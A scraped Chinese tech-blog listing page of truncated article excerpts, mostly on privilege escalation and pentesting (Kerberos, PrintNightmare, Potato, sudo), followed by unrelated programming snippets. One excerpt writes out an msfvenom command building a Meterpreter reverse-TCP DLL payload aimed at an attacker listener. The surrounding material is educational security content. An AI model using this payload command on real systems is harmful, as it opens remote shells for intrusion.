- 网络安全渗透攻击案例实战:某公司内网为目标的渗透测试全过程
目录一、案例背景二、目标分析(信息收集阶段)外部信息搜集指纹识别和端口扫描三、攻击流程(渗透测试全过程)步骤1:Web漏洞利用——泛微OA远程命令执行漏洞(CVE-2023-2648)步骤2:权限维持与横向移动2.1获取本地密码信息2.2利用数据库读取其他管理员账号密码(Base64加密)2.3横向移动尝试:步骤3:提权(本地提权)漏洞利用:CVE-2016-0099(WindowsKernel提
- 【Linux】权限详解 权限本质、权限属性、su、sudo提权、chmod\chown\chgrp、文件类别
文章目录一、权限的认识二、linux的权限本质三、linux的用户su指令sudo提权四、linux角色五、文件权限属性六、修改权限的指令操作chmod指令(权限只会验证一次)chown/chgrp指令修改文件权限的八进制方案七、文件类别详解一、权限的认识什么是权限?生活中处处都有权限,本质就是你要做一件事能还是不能的问题,有权限就能做,没权限就算你想做也不能做为什么linux要有权限?首先lin
- Kerberos 漏洞
IT 青年
0o漏洞
前言Kerberos漏洞涉及多个关键安全缺陷,主要包括MS14-068提权漏洞、CVE-2024-43639远程代码执行漏洞,以及CVE-2025系列新披露漏洞。一、MS14-068提权漏洞(CVE-2014-6324)漏洞影响受影响系统:WindowsServer2003、2008、2008R2、2012、2012R2。漏洞类型:权限提升漏洞,允许普通域用户提升至域管理员权限。CVSS评分:未公
- 【Linux命令大全】Linux安全模块(LSM)终极指南:SELinux与AppArmor实战
【Linux命令大全】Linux安全模块(LSM)终极指南:SELinux与AppArmor实战安全警报:90%的Linux系统未正确配置强制访问控制!掌握这些技术可防御95%的提权攻击!本文包含100+策略案例,25张权限流程图,企业级安全方案全公开!前言:为什么LSM是系统安全的最后防线?在日益复杂的攻击环境下,我们面临的核心安全挑战:零日漏洞的应急防护容器逃逸攻击防御横向移动限制合规审计要求
- 渗透测试中 phpinfo() 的信息利用分析
vortex5
web安全php网络安全渗透测试web安全
在渗透测试中,phpinfo()是一个非常常见却极具价值的信息泄露点。这个函数的本意是向开发者展示当前PHP环境的详细配置情况,包括编译选项、扩展模块、环境变量、系统信息、目录路径等。然而一旦该页面被暴露到互联网上,攻击者便可以借此收集大量目标系统的重要信息,从而为后续的漏洞利用、权限提升、提权横向等行为打下基础。本文将从实战角度分析phpinfo()页面中各类信息的渗透利用方式。一、系统与服务器
- Linux 虚拟机里面系统自动校准时间,
wushuang443
linux
首先查看下系统时间:输入date或者timedatectlstatus查看时间信息先启用NTP(网络时间协议)timedatectlset-ntptrue1现在发现日期对上了,但是准确的时钟分钟没对上,输入:这点时区的设置很重要timedatectlset-timezone"Asia/Shanghai"1修改时区为上海注意:若提示权限不足可以加上sudo提权或者使用root账户
- LOGO SEO优化
码哥DFS
前端htmlcss
1.logo里面首先放一个h1标签,目的是为了提权,告诉搜索引擎,这个地方很重要。2.h1里面再放一个链接,可以返回首页的,把logo的背景图片给链接即可。3.为了搜索引擎收录我们,我们链接里面要放文字(网站名称),但是文字不要显示出来。方法1:text-indent移到盒子外面(text-indent:-9999px),然后overflow:hidden。方法2:直接给font-size:0;就
- 2025年渗透测试面试题总结-2025年HW(护网面试) 13(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。目录2025年HW(护网面试)131.简历漏洞逐条分析2.判断是否为CMS系统3.后台扫描工具推荐4.御剑的字典包5.BurpSuite核心模块6.越权与逻辑漏洞测试7.大规模网站测试经验8.AWVS/AppScan替代方案9.Bypass手法合集10.SQL注入提权至管理员
- 2025年渗透测试面试题总结-2025年HW(护网面试) 14(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。目录1.SQL注入原理2.XXE攻击(XML外部实体注入)3.SQL注入分类⚙️4.Windows提权方法5.文件上传绕过技巧️6.代码审计核心要点7.逻辑漏洞类型8.验证码绕过方法️9.CSRF原理10.无工具的子域名收集2025年HW(护网面试)141、sql注入原理2、
- 红队内网攻防渗透:内网渗透之内网对抗:Windows权限提升篇&溢出漏洞&宝塔面板Bypass&CS插件化&MSF模块化
HACKNOE
红队攻防内网渗透研究院windowsweb安全系统安全
红队内网攻防渗透1.内网权限提升技术1.1windows内网权限提升技术--工具篇1.1.1Web到Win系统提权-平台&语言&用户1.1.1.1Web搭建平台差异1.1.1.2Web语言权限差异1.1.1.3系统用户权限差异1.1.1.3.1提权原因1.1.2Web到Win系统提权-Windows2012宝塔面板-哥斯拉1.1.2.1环境条件:1.1.2.1复现搭建1.1.2.1.1Bypass
- 手把手教的小白级教程!Linux用户与组管理
王富贵QAQ
linux服务器运维
目录用户类型用户和用户组关系用户和用户组配置文件用户管理useradd命令userdelpasswd命令usermod命令chpasswd命令chage命令三、组管理groupadd命令groupdel命令groupmod命令gpasswd命令四、用户切换与sudo提权su命令sudo命令五、用户登录信息查看id命令w命令who命令whoami命令finger命令last命令lastb命令last
- 常见哈希格式类型及其在CTF与渗透测试中的爆破与伪造策略(PBKDF2、bcrypt...)
vortex5
哈希算法算法
一、引言在CTF比赛或渗透测试中,获取并利用目标系统的密码哈希是常见的场景。例如,通过Web应用漏洞提取数据库中的用户密码哈希,或通过提权漏洞获取/etc/shadow文件中的系统用户哈希。这些哈希通常采用不同加密算法,如MD5、SHA-256、bcrypt、PBKDF2、scrypt、yescrypt或Argon2。每种算法在安全性、计算复杂度和抗破解能力上有着显著差异,直接影响到爆破难度和伪造
- Centos7.X添加本地至Docker用户组
NoFaceNoSkin
DockerLinuxDockerCentos
根据上篇文章《Centos7.X通过rpm包安装Docker》安装好Docker之后,发现必须使用sudo提权的方式或者直接使用root方式才能操作docker,实际上我们平常登录都是自己的账户,这样操作实在不方便,我们可以通过把本地用户添加至Docker用户组来实现自己账户直接操作Docker1、如果还没有dockergroup就添加一个(正常都会有):sudogroupadddocker2、将
- 第十七届山东省职业院校技能大赛中职组“网络安全”赛项任务书
oo1yn
计算机网络网络攻击模型
第十七届山东省职业院校技能大赛中职组“网络安全”赛项任务书-A一、竞赛阶段竞赛阶段任务阶段竞赛任务竞赛时间分值A模块A-1登录安全加固180分钟200分A-2Nginx安全策略A-3日志监控A-4中间件服务加固A-5本地安全策略A-6防火墙策略B模块B-1Windows操作系统渗透测试400分B-2网络安全事件应急响应B-3内存取证B-4Linux系统渗透提权B-5系统渗透B-6逆向分析B-7横向
- 系统安全及应用
阿萨德791
系统安全安全
目录账号安全控制基本安全措施系统账号清理密码安全控制命令历史,自动注销用户切换与提权su命令的用法PAM认证sudo命令-提升执行权限在配置文件/etc/sudoers中添加通过sudo执行特权命令系统引导和登录控制开关机安全控制调整BIOS引导设置限制更改GRUB引导参数终端及登录控制禁止root用户登录禁止普通用户登录弱口令检测,端口扫描弱口令检测-johntheRipper下载并安装john
- 系统提权与持久化
Alfadi联盟 萧瑶
网络安全网络安全
6.1Windows提权技术内核漏洞提权(CVE-2021-34527)漏洞原理:WindowsPrintSpooler服务未校验RPC调用权限,允许普通用户加载恶意DLL获取SYSTEM权限。攻击流程:生成恶意DLL并托管至SMB共享:msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=192.168.1.10LPORT=4444-fdll>ev
- 小迪安全25WEB 攻防-通用漏洞&SQL 读写注入&MYSQL&MSSQL&PostgreSQL
yiqiqukanhaiba
web安全安全sql
#知识点:1、SQL注入-MYSQL数据库2、SQL注入-MSSQL(SQLserver)数据库3、SQL注入-PostgreSQL数据库#详细点:Access无高权限注入点-只能猜解,还是暴力猜解因为access的数据库是独立存在的,不存在统一管理对账号密码进行猜解,此时只是获取到后台的操作权限,若要获取到服务器或网站等高级权限,需要进一步的提权操作MYSQL,PostgreSQL,MSSQL高
- MS16-075 漏洞 复现过程
浩策
提权&&权限维持web安全安全网络安全安全架构密码学
目录一、MS16-075漏洞概述二、为什么称之为“甜土豆”提权?三、MS16-075漏洞复现步骤1.下载POC和EXP2.编译与准备EXP3.利用MS16-075漏洞提权(本地执行)4.将POC转换为CobaltStrikePayload四、通过CobaltStrike进行提权的详细步骤1.上传工具至目标主机2.执行提权命令3.利用CS内置模块提权五、提权成功后的进一步操作总结一、MS16-075
- 系统安全及应用
昭阳~
系统安全安全
目录一:账号安全控制1.系统账号清理(1)非登录账号管理(2)冗余账号处理(3)账号配置文件保护2.密码安全控制(1)密码有效期管理(2)强制密码重置(3)密码复杂度策略3.命令历史与自动注销(1)限制历史命令记录(2)退出Shell时自动清除历史记录:(3)会话超时控制4.用户切换与提权(1)su命令的精细化控制(2)sudo命令的授权管理(3)sudo日志记录5.PAM认证机制(1)PAM工作
- 【移动应用安全】Android系统安全与保护机制
rockmelodies
移动安全安全android系统安全
Android系统安全与保护机制是一个多层次、多维度的防御体系,其安全架构与系统层级紧密耦合。以下是对各层级安全机制的扩展分析:Linux内核层(LinuxKernel)安全机制强制访问控制(MAC)通过SELinux(Security-EnhancedLinux)实现进程隔离和资源访问控制,定义严格的策略规则(如neverallow规则),防止提权攻击。内核模块签名所有内核模块需经过数字签名验证
- Potato家族本地提权细节
AZ09WY
提权
本文结合POC源码,研究Potato家族本地提权细节Featureorvulnerability该提权手法的前提是拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限,以下用户拥有SeImpersonatePrivilege权限(而只有更高权限的账户比如SYSTEM才有SeAssignPrimaryTokenPrivilege权限):本地
- Linux用户与组管理
CZZDg
服务器linux网络
目录一、用户管理1、useradd命令2、userdel3、passwd命令4、usermod命令5、chpasswd命令6、chage命令二、组管理1.grroupadd命令2、groupdel命令3、groupmod命令4、gpasswd命令三、用户切换与sudo提权1、su命令2.、sudo命令四、用户登录信息查看1、id命令3、who命令4、whoami5、finger命令6、last命令
- Linux系统安全及应用
2501_91112123
前端linux服务器
目录一、账号安全控制(一)基本安全措施(二)用户切换与提权1.su与sudo对比2.su安全控制3.sudo授权配置二、系统引导和登录控制(一)开关机安全控制三、端口扫描(NMAP)1.常用扫描类型对比四、端口扫描技术深度解析(一)NMAP核心扫描原理(二)高级扫描技巧2.实战示例(1)检测本地开放端口(2)网段存活主机检测(3)检测FTP服务主机五、核心安全工具对比(一)安全基线检查清单(二)日
- OSCP - Proving Grounds - Gaara
柴郡猫^O^
OSCP网络安全安全性测试安全
主要知识点hydra爆破SUID提权具体步骤nmap来查看一下开放哪些端口和服务,比较直接,只有22和80Nmapscanreportfor192.168.171.142Hostisup(0.40slatency).Notshown:65533closedtcpports(reset)PORTSTATESERVICEVERSION22/tcpopensshOpenSSH7.9p1Debian10+
- Ubuntu被曝严重漏洞:切换系统语言+输入几行命令,就能获取root权限(仅支持ubuntu桌面版、提权)
墨痕诉清风
渗透常识研究ubuntulinux运维
无需系统密码,就能添加新的sudo用户、获取root权限,事后还能删除不留痕迹。这是GitHub安全研究员KevinBackhouse发现的一个Ubuntu系统大漏洞。这种攻击方法非常简单,Backhouse在官方博客中写道:“使用终端中的一些简单命令,并单击几次鼠标,标准用户就可以为自己创建一个管理员帐户。”目前还在维护的Ubuntu操作系统均受到影响,包括20.10以及20.04、18.04、
- Windows服务器提权实战:常见方法、场景与防御指南
洋洋喜欢喝水
windows服务器运维提权
在渗透测试中,权限提升(提权)是从低权限账户(如IIS、Apache运行账户)获取系统管理员(如SYSTEM)权限的关键步骤。本文将从实战角度解析Windows服务器提权的常见技术,并结合真实场景与防御方案,帮助安全人员理解攻击原理并加固系统。目录一、为什么Windows服务器容易被提权?1.默认配置缺陷2.服务与进程漏洞3.补丁更新滞后二、6种常见提权方法及实战场景1.DLL劫持(DLLHija
- 系统安全及应用
惊起白鸽450
系统安全安全
目录账号安全控制基本安全措施系统账号清理密码安全控制命令历史,自动注销用户切换与提权su命令的用法PAM认证sudo命令——提升执行权限在配置文件/etc/sudoers中添加授权通过sudo执行特权命令系统引导和登录控制开关机安全控制调整BIOS引导设置限制更改GRUB引导参数终端及登录控制禁止root用户登录禁止普通用户登录弱口令检测、端口扫描弱口令检测-JohntheRipper下载并安装J
- 2025年渗透测试面试题总结-拷打题库03(题目+回答)
独行soc
2025年渗透测试面试指南面试职场和发展linux运维服务器pythonjava
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。目录2025年渗透测试面试题总结-拷打题库03一、Windows与Linux系统提权思路Windows提权Linux提权二、Python框架及漏洞主流框架与漏洞三、小程序与普通渗透的差异四、App漏洞测试要点五、IDS/IPS防护与绕过防护原理绕过思路六、JSON相关漏洞
- 2025年渗透测试面试题总结-拷打题库04(题目+回答)
独行soc
2025年渗透测试面试指南面试职场和发展linux运维服务器pythonjava
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。目录2025年渗透测试面试题总结-拷打题库04一、Windows常见提权方法二、蚁剑/菜刀/C刀/冰蝎对比三、Windows下载文件命令四、常见端口与攻击点五、木马驻留系统方式六、常用威胁情报平台七、Webshell检测工具八、高频利用漏洞九、Windows常用命令十、应
- 2022年网鼎杯题目整理
jia9iniu
WPCrypto2022网鼎杯
欢迎大佬补充。我整理出以下题目及wp。一、青龙1-Web(1)web669-LFI,flask-session身份伪造,yaml-RCE,suid-dd提权读文件。2-Misc3-Crypto(1)crypto091-sha256暴力破解(2)crypto405(3)crypto162-david_homework矩阵法求解递推数列david_homework4-Re(1)re694-UPX脱壳(
- jQuery 跨域访问的三种方式 No 'Access-Control-Allow-Origin' header is present on the reque
qiaolevip
每天进步一点点学习永无止境跨域众观千象
XMLHttpRequest cannot load http://v.xxx.com. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:63342' is therefore not allowed access. test.html:1
- mysql 分区查询优化
annan211
java分区优化mysql
分区查询优化
引入分区可以给查询带来一定的优势,但同时也会引入一些bug.
分区最大的优点就是优化器可以根据分区函数来过滤掉一些分区,通过分区过滤可以让查询扫描更少的数据。
所以,对于访问分区表来说,很重要的一点是要在where 条件中带入分区,让优化器过滤掉无需访问的分区。
可以通过查看explain执行计划,是否携带 partitions
- MYSQL存储过程中使用游标
chicony
Mysql存储过程
DELIMITER $$
DROP PROCEDURE IF EXISTS getUserInfo $$
CREATE PROCEDURE getUserInfo(in date_day datetime)-- -- 实例-- 存储过程名为:getUserInfo-- 参数为:date_day日期格式:2008-03-08-- BEGINdecla
- mysql 和 sqlite 区别
Array_06
sqlite
转载:
http://www.cnblogs.com/ygm900/p/3460663.html
mysql 和 sqlite 区别
SQLITE是单机数据库。功能简约,小型化,追求最大磁盘效率
MYSQL是完善的服务器数据库。功能全面,综合化,追求最大并发效率
MYSQL、Sybase、Oracle等这些都是试用于服务器数据量大功能多需要安装,例如网站访问量比较大的。而sq
- pinyin4j使用
oloz
pinyin4j
首先需要pinyin4j的jar包支持;jar包已上传至附件内
方法一:把汉字转换为拼音;例如:编程转换后则为biancheng
/**
* 将汉字转换为全拼
* @param src 你的需要转换的汉字
* @param isUPPERCASE 是否转换为大写的拼音; true:转换为大写;fal
- 微博发送私信
随意而生
微博
在前面文章中说了如和获取登陆时候所需要的cookie,现在只要拿到最后登陆所需要的cookie,然后抓包分析一下微博私信发送界面
http://weibo.com/message/history?uid=****&name=****
可以发现其发送提交的Post请求和其中的数据,
让后用程序模拟发送POST请求中的数据,带着cookie发送到私信的接入口,就可以实现发私信的功能了。
- jsp
香水浓
jsp
JSP初始化
容器载入JSP文件后,它会在为请求提供任何服务前调用jspInit()方法。如果您需要执行自定义的JSP初始化任务,复写jspInit()方法就行了
JSP执行
这一阶段描述了JSP生命周期中一切与请求相关的交互行为,直到被销毁。
当JSP网页完成初始化后
- 在 Windows 上安装 SVN Subversion 服务端
AdyZhang
SVN
在 Windows 上安装 SVN Subversion 服务端2009-09-16高宏伟哈尔滨市道里区通达街291号
最佳阅读效果请访问原地址:http://blog.donews.com/dukejoe/archive/2009/09/16/1560917.aspx
现在的Subversion已经足够稳定,而且已经进入了它的黄金时段。我们看到大量的项目都在使
- android开发中如何使用 alertDialog从listView中删除数据?
aijuans
android
我现在使用listView展示了很多的配置信息,我现在想在点击其中一条的时候填出 alertDialog,点击确认后就删除该条数据,( ArrayAdapter ,ArrayList,listView 全部删除),我知道在 下面的onItemLongClick 方法中 参数 arg2 是选中的序号,但是我不知道如何继续处理下去 1 2 3
- jdk-6u26-linux-x64.bin 安装
baalwolf
linux
1.上传安装文件(jdk-6u26-linux-x64.bin)
2.修改权限
[root@localhost ~]# ls -l /usr/local/jdk-6u26-linux-x64.bin
3.执行安装文件
[root@localhost ~]# cd /usr/local
[root@localhost local]# ./jdk-6u26-linux-x64.bin&nbs
- MongoDB经典面试题集锦
BigBird2012
mongodb
1.什么是NoSQL数据库?NoSQL和RDBMS有什么区别?在哪些情况下使用和不使用NoSQL数据库?
NoSQL是非关系型数据库,NoSQL = Not Only SQL。
关系型数据库采用的结构化的数据,NoSQL采用的是键值对的方式存储数据。
在处理非结构化/半结构化的大数据时;在水平方向上进行扩展时;随时应对动态增加的数据项时可以优先考虑使用NoSQL数据库。
在考虑数据库的成熟
- JavaScript异步编程Promise模式的6个特性
bijian1013
JavaScriptPromise
Promise是一个非常有价值的构造器,能够帮助你避免使用镶套匿名方法,而使用更具有可读性的方式组装异步代码。这里我们将介绍6个最简单的特性。
在我们开始正式介绍之前,我们想看看Javascript Promise的样子:
var p = new Promise(function(r
- [Zookeeper学习笔记之八]Zookeeper源代码分析之Zookeeper.ZKWatchManager
bit1129
zookeeper
ClientWatchManager接口
//接口的唯一方法materialize用于确定那些Watcher需要被通知
//确定Watcher需要三方面的因素1.事件状态 2.事件类型 3.znode的path
public interface ClientWatchManager {
/**
* Return a set of watchers that should
- 【Scala十五】Scala核心九:隐式转换之二
bit1129
scala
隐式转换存在的必要性,
在Java Swing中,按钮点击事件的处理,转换为Scala的的写法如下:
val button = new JButton
button.addActionListener(
new ActionListener {
def actionPerformed(event: ActionEvent) {
- Android JSON数据的解析与封装小Demo
ronin47
转自:http://www.open-open.com/lib/view/open1420529336406.html
package com.example.jsondemo;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
impor
- [设计]字体创意设计方法谈
brotherlamp
UIui自学ui视频ui教程ui资料
从古至今,文字在我们的生活中是必不可少的事物,我们不能想象没有文字的世界将会是怎样。在平面设计中,UI设计师在文字上所花的心思和功夫最多,因为文字能直观地表达UI设计师所的意念。在文字上的创造设计,直接反映出平面作品的主题。
如设计一幅戴尔笔记本电脑的广告海报,假设海报上没有出现“戴尔”两个文字,即使放上所有戴尔笔记本电脑的图片都不能让人们得知这些电脑是什么品牌。只要写上“戴尔笔
- 单调队列-用一个长度为k的窗在整数数列上移动,求窗里面所包含的数的最大值
bylijinnan
java算法面试题
import java.util.LinkedList;
/*
单调队列 滑动窗口
单调队列是这样的一个队列:队列里面的元素是有序的,是递增或者递减
题目:给定一个长度为N的整数数列a(i),i=0,1,...,N-1和窗长度k.
要求:f(i) = max{a(i-k+1),a(i-k+2),..., a(i)},i = 0,1,...,N-1
问题的另一种描述就
- struts2处理一个form多个submit
chiangfai
struts2
web应用中,为完成不同工作,一个jsp的form标签可能有多个submit。如下代码:
<s:form action="submit" method="post" namespace="/my">
<s:textfield name="msg" label="叙述:">
- shell查找上个月,陷阱及野路子
chenchao051
shell
date -d "-1 month" +%F
以上这段代码,假如在2012/10/31执行,结果并不会出现你预计的9月份,而是会出现八月份,原因是10月份有31天,9月份30天,所以-1 month在10月份看来要减去31天,所以直接到了8月31日这天,这不靠谱。
野路子解决:假设当天日期大于15号
- mysql导出数据中文乱码问题
daizj
mysql中文乱码导数据
解决mysql导入导出数据乱码问题方法:
1、进入mysql,通过如下命令查看数据库编码方式:
mysql> show variables like 'character_set_%';
+--------------------------+----------------------------------------+
| Variable_name&nbs
- SAE部署Smarty出现:Uncaught exception 'SmartyException' with message 'unable to write
dcj3sjt126com
PHPsmartysae
对于SAE出现的问题:Uncaught exception 'SmartyException' with message 'unable to write file...。
官方给出了详细的FAQ:http://sae.sina.com.cn/?m=faqs&catId=11#show_213
解决方案为:
01
$path
- 《教父》系列台词
dcj3sjt126com
Your love is also your weak point.
你的所爱同时也是你的弱点。
If anything in this life is certain, if history has taught us anything, it is
that you can kill anyone.
不顾家的人永远不可能成为一个真正的男人。 &
- mongodb安装与使用
dyy_gusi
mongo
一.MongoDB安装和启动,widndows和linux基本相同
1.下载数据库,
linux:mongodb-linux-x86_64-ubuntu1404-3.0.3.tgz
2.解压文件,并且放置到合适的位置
tar -vxf mongodb-linux-x86_64-ubun
- Git排除目录
geeksun
git
在Git的版本控制中,可能有些文件是不需要加入控制的,那我们在提交代码时就需要忽略这些文件,下面讲讲应该怎么给Git配置一些忽略规则。
有三种方法可以忽略掉这些文件,这三种方法都能达到目的,只不过适用情景不一样。
1. 针对单一工程排除文件
这种方式会让这个工程的所有修改者在克隆代码的同时,也能克隆到过滤规则,而不用自己再写一份,这就能保证所有修改者应用的都是同一
- Ubuntu 创建开机自启动脚本的方法
hongtoushizi
ubuntu
转载自: http://rongjih.blog.163.com/blog/static/33574461201111504843245/
Ubuntu 创建开机自启动脚本的步骤如下:
1) 将你的启动脚本复制到 /etc/init.d目录下 以下假设你的脚本文件名为 test。
2) 设置脚本文件的权限 $ sudo chmod 755
- 第八章 流量复制/AB测试/协程
jinnianshilongnian
nginxluacoroutine
流量复制
在实际开发中经常涉及到项目的升级,而该升级不能简单的上线就完事了,需要验证该升级是否兼容老的上线,因此可能需要并行运行两个项目一段时间进行数据比对和校验,待没问题后再进行上线。这其实就需要进行流量复制,把流量复制到其他服务器上,一种方式是使用如tcpcopy引流;另外我们还可以使用nginx的HttpLuaModule模块中的ngx.location.capture_multi进行并发
- 电商系统商品表设计
lkl
DROP TABLE IF EXISTS `category`; -- 类目表
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `category` (
`id` int(11) NOT NUL
- 修改phpMyAdmin导入SQL文件的大小限制
pda158
sqlmysql
用phpMyAdmin导入mysql数据库时,我的10M的
数据库不能导入,提示mysql数据库最大只能导入2M。
phpMyAdmin数据库导入出错: You probably tried to upload too large file. Please refer to documentation for ways to workaround this limit.
- Tomcat性能调优方案
Sobfist
apachejvmtomcat应用服务器
一、操作系统调优
对于操作系统优化来说,是尽可能的增大可使用的内存容量、提高CPU的频率,保证文件系统的读写速率等。经过压力测试验证,在并发连接很多的情况下,CPU的处理能力越强,系统运行速度越快。。
【适用场景】 任何项目。
二、Java虚拟机调优
应该选择SUN的JVM,在满足项目需要的前提下,尽量选用版本较高的JVM,一般来说高版本产品在速度和效率上比低版本会有改进。
J
- SQLServer学习笔记
vipbooks
数据结构xml
1、create database school 创建数据库school
2、drop database school 删除数据库school
3、use school 连接到school数据库,使其成为当前数据库
4、create table class(classID int primary key identity not null)
创建一个名为class的表,其有一